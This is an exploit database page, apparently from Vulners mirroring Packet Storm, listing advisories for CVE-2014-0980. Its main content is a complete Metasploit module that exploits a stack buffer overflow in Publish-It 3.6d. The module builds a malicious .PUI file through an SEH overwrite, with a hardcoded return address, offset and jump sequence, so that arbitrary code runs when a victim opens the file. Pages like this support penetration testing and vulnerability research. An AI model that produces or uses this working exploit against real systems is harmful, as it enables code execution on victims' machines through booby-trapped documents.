Lucene search
+L

Publish-It PUI Buffer Overflow

🗓️ 19 Mar 2015 00:00:00Reported by Daniel KazimirowType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Exploiting Publish-It PUI Buffer Overflow vulnerability in .PUI file processing to execute arbitrary code on target machine.

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Publish-It 3.6d - Buffer Overflow Vulnerability
6 Feb 201400:00
zdt
zdt
zdt
Publish-It 3.6d - Buffer Overflow (SEH) Exploit
19 Mar 201500:00
zdt
zdt
zdt
Publish-It 3.6d - PUI Buffer Overflow (SEH) Exploit
19 Mar 201500:00
zdt
circl
Circl
CVE-2014-0980
6 Feb 201400:00
circl
coresecurity
Core Security
Publish-It Buffer Overflow Vulnerability
5 Feb 201400:00
coresecurity
checkpoint_advisories
Check Point Advisories
Poster Software PUBLISH-iT PUI File Processing Buffer Overflow (CVE-2014-0980)
26 Mar 201400:00
checkpoint_advisories
cve
CVE
CVE-2014-0980
11 Feb 201417:00
cve
cvelist
Cvelist
CVE-2014-0980
11 Feb 201417:00
cvelist
exploitdb
Exploit DB
Publish-It 3.6d - Buffer Overflow
6 Feb 201400:00
exploitdb
exploitdb
Exploit DB
Publish-It 3.6d - '.pui' Local Buffer Overflow (SEH)
8 Feb 201400:00
exploitdb
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',  
'Description' => %q{  
This module exploits a stack based buffer overflow in Publish-It when  
processing a specially crafted .PUI file. This vulnerability could be  
exploited by a remote attacker to execute arbitrary code on the target  
machine by enticing a user of Publish-It to open a malicious .PUI file.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Daniel Kazimirow', # Original discovery  
'Andrew Smith "jakx_"', # Exploit and MSF Module  
],  
'References' =>  
[  
[ 'OSVDB', '102911' ],  
[ 'CVE', '2014-0980' ],  
[ 'EDB', '31461' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0b\x0a",  
'DisableNops' => true,  
'Space' => 377  
},  
'Targets' =>  
[  
[ 'Publish-It 3.6d',  
{  
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE  
'Offset' => 1082  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 5 2014',  
'DefaultTarget' => 0))  
  
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)  
  
end  
  
def exploit  
  
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")  
fd = File.open(path, "rb")  
template_data = fd.read(fd.stat.size)  
fd.close  
  
buffer = template_data  
buffer << make_nops(700)  
buffer << payload.encoded  
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)  
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399  
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump  
buffer << make_nops(2)  
buffer << [target.ret].pack("V")  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(buffer)  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Mar 2015 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.40359
44